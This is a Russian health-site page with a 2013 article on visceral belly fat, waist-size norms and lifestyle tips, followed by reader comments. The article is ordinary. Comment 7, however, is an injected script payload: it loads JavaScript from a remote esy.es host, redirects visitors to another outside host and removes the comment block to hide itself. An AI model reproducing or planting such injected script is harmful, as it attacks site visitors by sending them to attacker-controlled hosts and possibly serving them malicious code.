Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Вся правда о жире на живо...  >>  Вся правда о жире на животе
 
Обратная связь
 

Вся правда о жире на животе

Размер шрифта
11 февраля 2013 00:00
Юрий Малышев
Здоровье инфо
Екатерина Иванникова
Здоровье инфо
  • google_analytics: false
  • Нравится

Ваша талия исчезла? Это может быть не только косметический дефект, но и признак некоторых заболеваний. Давайте попробуем разобраться, какой жир полезен и где он должен быть?

правда о жире на животе

Мы все прекрасно знаем, что жировые отложения чаще всего заметны на животе, бедрах или ягодицах. Но еще жир может накапливаться глубоко внутри, вокруг сердца или легких, даже у худых людей!

Такой жир называется висцеральным и служит «подушкой безопасности». При неправильном питании и малоподвижном образе жизни жир накапливается в печени, сердце и внутри сосудов. Когда его становится слишком много, может развиться гипертония, диабет 2 типа, сердечные болезни, деменция и некоторые виды рака (молочной железы и толстой кишки). Для определения степени ожирения внутренних органов можно сделать КТ или МРТ, но есть более простой способ: просто измерить объем талии.

Нормой считается объем талии:

  • менее 88 см для женщин;
  • менее 94 см для мужчин

Даже если у вас от природы очень стройная фигура, ваши гены могут нести в себе опасность: склонность к накоплению внутреннего жира.
Чтобы сохранить свое здоровье на многие годы достаточно соблюдать всего лишь 4 совета:

  • выполнять физические упражнения в течение 30 минут хотя бы 3-4 раза в неделю,
  • соблюдать диету: больше клетчатки и овощей (например, два яблока в день),
  • высыпаться: спите не менее 6-7 часов,
  • избегать стрессов.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

11 февраля 2013 в 07:33

Цитировать   |   Пожаловаться

А насчет объема талии все верно? по некоторым данным - менее 102 см. для мужчин это норма.

2 - Гость

11 февраля 2013 в 15:26

Цитировать   |   Пожаловаться

ничего нового. я вот вообще не люблю фрукты...а от мяса не худеют. что делать?

3 - Надежда

11 февраля 2013 в 20:22

Цитировать   |   Пожаловаться

почему же от мяса не худеют????? Есть прекрасная белковая диета, где в основным блюдом является именно мясо, и мало того, эта диета действительно работает!!!! Белок это строительный материал, поэтому в плюс белковой диете кожа сохраняет свою эластичность с потерей в весе

4 - genafirst12

27 мая 2015 в 17:20

Комментарий удален за нарушение Правил общения

5 - genafirst12

27 мая 2015 в 17:20

Комментарий удален за нарушение Правил общения

6 - genafirst12

27 мая 2015 в 17:22

Комментарий удален за нарушение Правил общения

7 - zzzzzz

30 июня 2015 в 23:24

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Бурый жир поможет похудеть   Ученые выяснили, чем вы рискуете, используя обезжиренные соусы. Требует ли красота таких жертв?   Трансжиры: как распознать врага?   Сливочное масло или маргарин?  
27 февраля 2013Бурый жир поможет похудеть 20 июля 2012Кости можно делать из жира!
 
04 октября 2011Заплати налоги и ешь жирную пищу 19 февраля 2013Мальчик с ожирением не станет мужчиной
 

Слайдшоу

1
От этой еды будет понос!
Как устоять перед соблазнами?
Правильное питание в ресторане

Тесты

1
Жиры, которые мы едим
Что вы знаете о печени?
Есть ли у вас избыточный вес?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.